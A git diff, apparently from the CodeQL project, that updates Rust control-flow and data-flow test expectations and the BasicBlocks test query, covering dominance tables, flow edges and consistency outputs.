test.rs:455:13:455:25 | [match(false)] 1 \| 2 | -| test.rs:455:13:455:25 | [match(false)] 1 \| 2 | test.rs:456:13:456:13 | _ | | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | -| test.rs:455:13:455:25 | [match(true)] 1 \| 2 | test.rs:455:30:455:30 | 3 | -| test.rs:455:13:455:25 | one_or_two!... | test.rs:455:13:455:25 | one_or_two!... | -| test.rs:455:30:455:30 | 3 | test.rs:455:30:455:30 | 3 | -| test.rs:456:13:456:13 | _ | test.rs:456:13:456:13 | _ | | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | test.rs:461:9:464:9 | match pair { ... } | | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | test.rs:462:32:462:32 | _ | @@ -1356,16 +1347,9 @@ postDominance | test.rs:454:9:457:9 | match a { ... } | test.rs:455:13:455:25 | 2 | | test.rs:454:9:457:9 | match a { ... } | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | | test.rs:454:9:457:9 | match a { ... } | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | -| test.rs:454:9:457:9 | match a { ... } | test.rs:455:30:455:30 | 3 | -| test.rs:454:9:457:9 | match a { ... } | test.rs:456:13:456:13 | _ | | test.rs:455:13:455:25 | 2 | test.rs:455:13:455:25 | 2 | | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | -| test.rs:455:13:455:25 | one_or_two!... | test.rs:455:13:455:25 | one_or_two!... | -| test.rs:455:30:455:30 | 3 | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | -| test.rs:455:30:455:30 | 3 | test.rs:455:30:455:30 | 3 | -| test.rs:456:13:456:13 | _ | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | -| test.rs:456:13:456:13 | _ | test.rs:456:13:456:13 | _ | | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | | test.rs:461:9:464:9 | match pair { ... } | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | | test.rs:461:9:464:9 | match pair { ... } | test.rs:461:9:464:9 | match pair { ... } | @@ -1673,9 +1657,6 @@ immediateDominator | test.rs:455:13:455:25 | 2 | test.rs:453:5:458:5 | enter fn or_pattern_3 | | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | test.rs:455:13:455:25 | 2 | | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | test.rs:453:5:458:5 | enter fn or_pattern_3 | -| test.rs:455:13:455:25 | one_or_two!... | test.rs:453:5:458:5 | enter fn or_pattern_3 | -| test.rs:455:30:455:30 | 3 | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | -| test.rs:456:13:456:13 | _ | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | | test.rs:461:9:464:9 | match pair { ... } | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | | test.rs:462:32:462:32 | _ | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | | test.rs:463:13:463:13 | _ | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | @@ -2204,12 +2185,10 @@ joinBlockPredecessor | test.rs:443:13:443:36 | ... \| ... | test.rs:443:26:443:36 | Some(...) | 1 | | test.rs:443:26:443:36 | Some(...) | test.rs:443:13:443:22 | Some(...) | 1 | | test.rs:443:26:443:36 | Some(...) | test.rs:443:18:443:21 | true | 0 | -| test.rs:454:9:457:9 | match a { ... } | test.rs:455:30:455:30 | 3 | 0 | -| test.rs:454:9:457:9 | match a { ... } | test.rs:456:13:456:13 | _ | 1 | +| test.rs:454:9:457:9 | match a { ... } | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | 0 | +| test.rs:454:9:457:9 | match a { ... } | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | 1 | | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | test.rs:453:5:458:5 | enter fn or_pattern_3 | 1 | | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | test.rs:455:13:455:25 | 2 | 0 | -| test.rs:455:13:455:25 | one_or_two!... | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | 0 | -| test.rs:455:13:455:25 | one_or_two!... | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | 1 | | test.rs:461:9:464:9 | match pair { ... } | test.rs:462:32:462:32 | _ | 0 | | test.rs:461:9:464:9 | match pair { ... } | test.rs:463:13:463:13 | _ | 1 | | test.rs:476:9:480:9 | match e { ... } | test.rs:477:32:477:32 | _ | 0 | diff --git a/rust/ql/test/library-tests/controlflow/BasicBlocks.ql b/rust/ql/test/library-tests/controlflow/BasicBlocks.ql index 2d072fa5b7cf..770fd1133e65 100644 --- a/rust/ql/test/library-tests/controlflow/BasicBlocks.ql +++ b/rust/ql/test/library-tests/controlflow/BasicBlocks.ql @@ -1,23 +1,28 @@ import rust import codeql.rust.controlflow.ControlFlowGraph import codeql.rust.controlflow.BasicBlocks +import TestUtils -query predicate dominates(BasicBlock bb1, BasicBlock bb2) { bb1.dominates(bb2) } +query predicate dominates(BasicBlock bb1, BasicBlock bb2) { + toBeTested(bb1.getScope()) and bb1.dominates(bb2) +} -query predicate postDominance(BasicBlock bb1, BasicBlock bb2) { bb1.postDominates(bb2) } +query predicate postDominance(BasicBlock bb1, BasicBlock bb2) { + toBeTested(bb1.getScope()) and bb1.postDominates(bb2) +} query predicate immediateDominator(BasicBlock bb1, BasicBlock bb2) { - bb1.getImmediateDominator() = bb2 + toBeTested(bb1.getScope()) and bb1.getImmediateDominator() = bb2 } query predicate controls(ConditionBasicBlock bb1, BasicBlock bb2, SuccessorType t) { - bb1.edgeDominates(bb2, t) + toBeTested(bb1.getScope()) and bb1.edgeDominates(bb2, t) } query predicate successor(ConditionBasicBlock bb1, BasicBlock bb2, SuccessorType t) { - bb1.getASuccessor(t) = bb2 + toBeTested(bb1.getScope()) and bb1.getASuccessor(t) = bb2 } query predicate joinBlockPredecessor(JoinBasicBlock bb1, BasicBlock bb2, int i) { - bb1.getJoinBlockPredecessor(i) = bb2 + toBeTested(bb1.getScope()) and bb1.getJoinBlockPredecessor(i) = bb2 } diff --git a/rust/ql/test/library-tests/controlflow/CONSISTENCY/CfgConsistency.expected b/rust/ql/test/library-tests/controlflow/CONSISTENCY/CfgConsistency.expected deleted file mode 100644 index 495070e6de3c..000000000000 --- a/rust/ql/test/library-tests/controlflow/CONSISTENCY/CfgConsistency.expected +++ /dev/null @@ -1,7 +0,0 @@ -deadEnd -| test.rs:455:13:455:25 | one_or_two!... | -multipleSuccessors -| test.rs:455:13:455:25 | [match(false)] 1 \| 2 | no-match | test.rs:455:13:455:25 | one_or_two!... | -| test.rs:455:13:455:25 | [match(false)] 1 \| 2 | no-match | test.rs:456:13:456:13 | _ | -| test.rs:455:13:455:25 | [match(true)] 1 \| 2 | match | test.rs:455:13:455:25 | one_or_two!... | -| test.rs:455:13:455:25 | [match(true)] 1 \| 2 | match | test.rs:455:30:455:30 | 3 | diff --git a/rust/ql/test/library-tests/controlflow/Cfg.expected b/rust/ql/test/library-tests/controlflow/Cfg.expected index b51f42537d11..44dd60e915aa 100644 --- a/rust/ql/test/library-tests/controlflow/Cfg.expected +++ b/rust/ql/test/library-tests/controlflow/Cfg.expected @@ -1129,9 +1129,7 @@ edges | test.rs:455:13:455:25 | 2 | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | no-match | | test.rs:455:13:455:25 | 2 | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | match | | test.rs:455:13:455:25 | MacroPat | test.rs:455:13:455:25 | 1 | match | -| test.rs:455:13:455:25 | [match(false)] 1 \| 2 | test.rs:455:13:455:25 | one_or_two!... | no-match | | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | test.rs:456:13:456:13 | _ | no-match | -| test.rs:455:13:455:25 | [match(true)] 1 \| 2 | test.rs:455:13:455:25 | one_or_two!... | match | | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | test.rs:455:30:455:30 | 3 | match | | test.rs:455:30:455:30 | 3 | test.rs:454:9:457:9 | match a { ... } | | | test.rs:456:13:456:13 | _ | test.rs:456:18:456:18 | 4 | match | diff --git a/rust/ql/test/library-tests/dataflow/global/inline-flow.expected b/rust/ql/test/library-tests/dataflow/global/inline-flow.expected index ec838732cd59..c64956c59a03 100644 --- a/rust/ql/test/library-tests/dataflow/global/inline-flow.expected +++ b/rust/ql/test/library-tests/dataflow/global/inline-flow.expected @@ -92,6 +92,24 @@ edges | main.rs:188:9:188:9 | d [MyInt] | main.rs:189:10:189:10 | d [MyInt] | provenance | | | main.rs:188:13:188:20 | a.add(...) [MyInt] | main.rs:188:9:188:9 | d [MyInt] | provenance | | | main.rs:189:10:189:10 | d [MyInt] | main.rs:189:10:189:16 | d.value | provenance | | +| main.rs:201:18:201:21 | SelfParam [MyInt] | main.rs:201:48:203:5 | { ... } [MyInt] | provenance | | +| main.rs:205:26:205:37 | ...: MyInt [MyInt] | main.rs:205:49:207:5 | { ... } [MyInt] | provenance | | +| main.rs:211:9:211:9 | a [MyInt] | main.rs:213:49:213:49 | a [MyInt] | provenance | | +| main.rs:211:13:211:38 | MyInt {...} [MyInt] | main.rs:211:9:211:9 | a [MyInt] | provenance | | +| main.rs:211:28:211:36 | source(...) | main.rs:211:13:211:38 | MyInt {...} [MyInt] | provenance | | +| main.rs:213:9:213:26 | MyInt {...} [MyInt] | main.rs:213:24:213:24 | c | provenance | | +| main.rs:213:24:213:24 | c | main.rs:214:10:214:10 | c | provenance | | +| main.rs:213:30:213:53 | ...::take_self(...) [MyInt] | main.rs:213:9:213:26 | MyInt {...} [MyInt] | provenance | | +| main.rs:213:49:213:49 | a [MyInt] | main.rs:201:18:201:21 | SelfParam [MyInt] | provenance | | +| main.rs:213:49:213:49 | a [MyInt] | main.rs:213:30:213:53 | ...::take_self(...) [MyInt] | provenance | | +| main.rs:217:9:217:9 | b [MyInt] | main.rs:218:54:218:54 | b [MyInt] | provenance | | +| main.rs:217:13:217:39 | MyInt {...} [MyInt] | main.rs:217:9:217:9 | b [MyInt] | provenance | | +| main.rs:217:28:217:37 | source(...) | main.rs:217:13:217:39 | MyInt {...} [MyInt] | provenance | | +| main.rs:218:9:218:26 | MyInt {...} [MyInt] | main.rs:218:24:218:24 | c | provenance | | +| main.rs:218:24:218:24 | c | main.rs:219:10:219:10 | c | provenance | | +| main.rs:218:30:218:55 | ...::take_second(...) [MyInt] | main.rs:218:9:218:26 | MyInt {...} [MyInt] | provenance | | +| main.rs:218:54:218:54 | b [MyInt] | main.rs:205:26:205:37 | ...: MyInt [MyInt] | provenance | | +| main.rs:218:54:218:54 | b [MyInt] | main.rs:218:30:218:55 | ...::take_second(...) [MyInt] | provenance | | | main.rs:227:32:231:1 | { ... } | main.rs:246:41:246:54 | async_source(...) | provenance | | | main.rs:228:9:228:9 | a | main.rs:227:32:231:1 | { ... } | provenance | | | main.rs:228:9:228:9 | a | main.rs:229:10:229:10 | a | provenance | | @@ -202,6 +220,26 @@ nodes | main.rs:188:13:188:20 | a.add(...) [MyInt] | semmle.label | a.add(...) [MyInt] | | main.rs:189:10:189:10 | d [MyInt] | semmle.label | d [MyInt] | | main.rs:189:10:189:16 | d.value | semmle.label | d.value | +| main.rs:201:18:201:21 | SelfParam [MyInt] | semmle.label | SelfParam [MyInt] | +| main.rs:201:48:203:5 | { ... } [MyInt] | semmle.label | { ... } [MyInt] | +| main.rs:205:26:205:37 | ...: MyInt [MyInt] | semmle.label | ...: MyInt [MyInt] | +| main.rs:205:49:207:5 | { ... } [MyInt] | semmle.label | { ... } [MyInt] | +| main.rs:211:9:211:9 | a [MyInt] | semmle.label | a [MyInt] | +| main.rs:211:13:211:38 | MyInt {...} [MyInt] | semmle.label | MyInt {...} [MyInt] | +| main.rs:211:28:211:36 | source(...) | semmle.label | source(...) | +| main.rs:213:9:213:26 | MyInt {...} [MyInt] | semmle.label | MyInt {...} [MyInt] | +| main.rs:213:24:213:24 | c | semmle.label | c | +| main.rs:213:30:213:53 | ...::take_self(...) [MyInt] | semmle.label | ...::take_self(...) [MyInt] | +| main.rs:213:49:213:49 | a [MyInt] | semmle.label | a [MyInt] | +| main.rs:214:10:214:10 | c | semmle.label | c | +| main.rs:217:9:217:9 | b [MyInt] | semmle.label | b [MyInt] | +| main.rs:217:13:217:39 | MyInt {...} [MyInt] | semmle.label | MyInt {...} [MyInt] | +| main.rs:217:28:217:37 | source(...) | semmle.label | source(...) | +| main.rs:218:9:218:26 | MyInt {...} [MyInt] | semmle.label | MyInt {...} [MyInt] | +| main.rs:218:24:218:24 | c | semmle.label | c | +| main.rs:218:30:218:55 | ...::take_second(...) [MyInt] | semmle.label | ...::take_second(...) [MyInt] | +| main.rs:218:54:218:54 | b [MyInt] | semmle.label | b [MyInt] | +| main.rs:219:10:219:10 | c | semmle.label | c | | main.rs:227:32:231:1 | { ... } | semmle.label | { ... } | | main.rs:228:9:228:9 | a | semmle.label | a | | main.rs:228:13:228:21 | source(...) | semmle.label | source(...) | @@ -225,6 +263,8 @@ subpaths | main.rs:143:38:143:38 | a | main.rs:106:27:106:32 | ...: i64 | main.rs:106:42:112:5 | { ... } | main.rs:143:13:143:39 | ...::data_through(...) | | main.rs:161:24:161:33 | source(...) | main.rs:155:12:155:17 | ...: i64 | main.rs:155:28:157:5 | { ... } [MyInt] | main.rs:161:13:161:34 | ...::new(...) [MyInt] | | main.rs:186:9:186:9 | a [MyInt] | main.rs:169:12:169:15 | SelfParam [MyInt] | main.rs:169:42:172:5 | { ... } [MyInt] | main.rs:188:13:188:20 | a.add(...) [MyInt] | +| main.rs:213:49:213:49 | a [MyInt] | main.rs:201:18:201:21 | SelfParam [MyInt] | main.rs:201:48:203:5 | { ... } [MyInt] | main.rs:213:30:213:53 | ...::take_self(...) [MyInt] | +| main.rs:218:54:218:54 | b [MyInt] | main.rs:205:26:205:37 | ...: MyInt [MyInt] | main.rs:205:49:207:5 | { ... } [MyInt] | main.rs:218:30:218:55 | ...::take_second(...) [MyInt] | testFailures #select | main.rs:18:10:18:10 | a | main.rs:13:5:13:13 | source(...) | main.rs:18:10:18:10 | a | $@ | main.rs:13:5:13:13 | source(...) | source(...) | @@ -241,6 +281,8 @@ testFailures | main.rs:144:10:144:10 | b | main.rs:142:13:142:22 | source(...) | main.rs:144:10:144:10 | b | $@ | main.rs:142:13:142:22 | source(...) | source(...) | | main.rs:163:10:163:10 | m | main.rs:161:24:161:33 | source(...) | main.rs:163:10:163:10 | m | $@ | main.rs:161:24:161:33 | source(...) | source(...) | | main.rs:189:10:189:16 | d.value | main.rs:186:28:186:36 | source(...) | main.rs:189:10:189:16 | d.value | $@ | main.rs:186:28:186:36 | source(...) | source(...) | +| main.rs:214:10:214:10 | c | main.rs:211:28:211:36 | source(...) | main.rs:214:10:214:10 | c | $@ | main.rs:211:28:211:36 | source(...) | source(...) | +| main.rs:219:10:219:10 | c | main.rs:217:28:217:37 | source(...) | main.rs:219:10:219:10 | c | $@ | main.rs:217:28:217:37 | source(...) | source(...) | | main.rs:229:10:229:10 | a | main.rs:228:13:228:21 | source(...) | main.rs:229:10:229:10 | a | $@ | main.rs:228:13:228:21 | source(...) | source(...) | | main.rs:239:14:239:14 | c | main.rs:238:17:238:25 | source(...) | main.rs:239:14:239:14 | c | $@ | main.rs:238:17:238:25 | source(...) | source(...) | | main.rs:247:10:247:10 | a | main.rs:228:13:228:21 | source(...) | main.rs:247:10:247:10 | a | $@ | main.rs:228:13:228:21 | source(...) | source(...) | diff --git a/rust/ql/test/library-tests/dataflow/global/main.rs b/rust/ql/test/library-tests/dataflow/global/main.rs index a28a8e030842..507772692d67 100644 --- a/rust/ql/test/library-tests/dataflow/global/main.rs +++ b/rust/ql/test/library-tests/dataflow/global/main.rs @@ -211,12 +211,12 @@ fn data_through_trait_method_called_as_function() { let a = MyInt { value: source(8) }; let b = MyInt { value: 2 }; let MyInt { value: c } = MyTrait::take_self(a, b); - sink(c); // $ MISSING: hasValueFlow=8 + sink(c); // $ hasValueFlow=8 let a = MyInt { value: 0 }; let b = MyInt { value: source(37) }; let MyInt { value: c } = MyTrait::take_second(a, b); - sink(c); // $ MISSING: hasValueFlow=37 + sink(c); // $ hasValueFlow=37 let a = MyInt { value: 0 }; let b = MyInt { value: source(38) }; diff --git a/rust/ql/test/library-tests/dataflow/global/viableCallable.expected b/rust/ql/test/library-tests/dataflow/global/viableCallable.expected index 76e65eea3876..63abc4c7f417 100644 --- a/rust/ql/test/library-tests/dataflow/global/viableCallable.expected +++ b/rust/ql/test/library-tests/dataflow/global/viableCallable.expected @@ -48,10 +48,13 @@ | main.rs:188:13:188:20 | a.add(...) | main.rs:169:5:172:5 | fn add | | main.rs:189:5:189:17 | sink(...) | main.rs:5:1:7:1 | fn sink | | main.rs:211:28:211:36 | source(...) | main.rs:1:1:3:1 | fn source | +| main.rs:213:30:213:53 | ...::take_self(...) | main.rs:201:5:203:5 | fn take_self | | main.rs:214:5:214:11 | sink(...) | main.rs:5:1:7:1 | fn sink | | main.rs:217:28:217:37 | source(...) | main.rs:1:1:3:1 | fn source | +| main.rs:218:30:218:55 | ...::take_second(...) | main.rs:205:5:207:5 | fn take_second | | main.rs:219:5:219:11 | sink(...) | main.rs:5:1:7:1 | fn sink | | main.rs:222:28:222:37 | source(...) | main.rs:1:1:3:1 | fn source | +| main.rs:223:30:223:53 | ...::take_self(...) | main.rs:201:5:203:5 | fn take_self | | main.rs:224:5:224:11 | sink(...) | main.rs:5:1:7:1 | fn sink | | main.rs:228:13:228:21 | source(...) | main.rs:1:1:3:1 | fn source | | main.rs:229:5:229:11 | sink(...) | main.rs:5:1:7:1 | fn sink | diff --git a/rust/ql/test/library-tests/dataflow/local/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/library-tests/dataflow/local/CONSISTENCY/PathResolutionConsistency.expected new file mode 100644 index 000000000000..b9ee72e892bd --- /dev/null +++ b/rust/ql/test/library-tests/dataflow/local/CONSISTENCY/PathResolutionConsistency.expected @@ -0,0 +1,15 @@ +multiplePathResolutions +| main.rs:532:10:532:18 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:532:10:532:18 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:532:10:532:18 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:532:10:532:18 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:532:10:532:18 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:532:10:532:18 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:532:10:532:18 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:538:10:538:18 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:538:10:538:18 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:538:10:538:18 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:538:10:538:18 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:538:10:538:18 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:538:10:538:18 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:538:10:538:18 | ...::from | file://:0:0:0:0 | fn from | diff --git a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected index 98a2634346e7..4186b0841334 100644 --- a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected +++ b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected @@ -866,1045 +866,206 @@ localStep | main.rs:565:13:565:33 | result_questionmark(...) | main.rs:565:9:565:9 | _ | | main.rs:577:36:577:41 | ...::new(...) | main.rs:577:36:577:41 | MacroExpr | | main.rs:577:36:577:41 | [post] MacroExpr | main.rs:577:36:577:41 | [post] ...::new(...) | -storeStep -| file://:0:0:0:0 | [summary] to write: Argument[0].Field[crate::option::Option::Some(0)] in lang:core::_::::zip_with | Some | file://:0:0:0:0 | [post] [summary param] 0 in lang:core::_::::zip_with | -| file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[0].Reference in lang:alloc::_::::retain_mut | &ref | file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[0] in lang:alloc::_::::retain_mut | -| file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[0].Reference in lang:core::_::::take_if | &ref | file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[0] in lang:core::_::::take_if | -| file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[1].Reference in lang:core::_::crate::num::flt2dec::to_exact_exp_str | &ref | file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[1] in lang:core::_::crate::num::flt2dec::to_exact_exp_str | -| file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[1].Reference in lang:core::_::crate::num::flt2dec::to_exact_fixed_str | &ref | file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[1] in lang:core::_::crate::num::flt2dec::to_exact_fixed_str | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:alloc::_::<_ as crate::borrow::ToOwned>::clone_into | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:alloc::_::<_ as crate::borrow::ToOwned>::clone_into | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:alloc::_::crate::collections::btree::mem::replace | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:alloc::_::crate::collections::btree::mem::replace | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:alloc::_::crate::collections::btree::mem::take_mut | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:alloc::_::crate::collections::btree::mem::take_mut | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:core::_::crate::mem::replace | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:core::_::crate::mem::replace | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:core::_::crate::ptr::replace | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:core::_::crate::ptr::replace | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:core::_::crate::ptr::write | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:core::_::crate::ptr::write | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:core::_::crate::ptr::write_unaligned | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:core::_::crate::ptr::write_unaligned | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:core::_::crate::ptr::write_volatile | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:core::_::crate::ptr::write_volatile | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:proc_macro::_::<&[u8] as crate::bridge::rpc::DecodeMut>::decode | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:proc_macro::_::<&[u8] as crate::bridge::rpc::DecodeMut>::decode | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:proc_macro::_::::decode | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:proc_macro::_::::decode | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:proc_macro::_::::decode | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:proc_macro::_::::decode | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:proc_macro::_::::decode | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:proc_macro::_::::decode | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_:::::read_to_end | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_:::::read_to_end | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_:::::read_to_end | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_:::::read_to_end | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::::read | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::::read | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::::read_exact | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::::read_exact | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::::read_to_end | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::::read_to_end | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::::read_to_string | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::::read_to_string | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::::advance_slices | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::::advance_slices | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::::advance_slices | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::::advance_slices | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::::read | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::::read | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::::read_exact | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::::read_exact | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::::read_to_string | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::::read_to_string | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::::read | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::::read | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::::read_exact | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::::read_exact | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::::read_to_string | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::::read_to_string | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::crate::io::BufRead::read_line | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::crate::io::BufRead::read_line | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::crate::io::Read::read | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::crate::io::Read::read | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::crate::io::Read::read_exact | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::crate::io::Read::read_exact | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::crate::io::Read::read_to_end | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::crate::io::Read::read_to_end | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::crate::io::Read::read_to_string | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::crate::io::Read::read_to_string | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference.Reference in lang:proc_macro::_::<&[u8] as crate::bridge::rpc::DecodeMut>::decode | &ref | file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:proc_macro::_::<&[u8] as crate::bridge::rpc::DecodeMut>::decode | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference.Reference in lang:proc_macro::_::::decode | &ref | file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:proc_macro::_::::decode | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference.Reference in lang:proc_macro::_::::decode | &ref | file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:proc_macro::_::::decode | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference.Reference in lang:proc_macro::_::::decode | &ref | file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:proc_macro::_::::decode | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference.Reference in lang:std::_::::advance_slices | &ref | file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::::advance_slices | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference.Reference in lang:std::_::::advance_slices | &ref | file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::::advance_slices | -| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in lang:proc_macro::_::crate::bridge::client::state::set | function argument at 0 | file://:0:0:0:0 | [post] [summary param] 1 in lang:proc_macro::_::crate::bridge::client::state::set | -| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in lang:core::_::::filter_map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in lang:core::_::::filter_map | -| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in lang:core::_::::map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in lang:core::_::::map | -| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in lang:core::_::::filter_map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in lang:core::_::::filter_map | -| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in lang:core::_::::map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in lang:core::_::::map | -| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in lang:std::_::::wait_while | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in lang:std::_::::wait_while | -| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[1].Reference in lang:core::_::crate::slice::sort::stable::sort | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[1] in lang:core::_::crate::slice::sort::stable::sort | -| 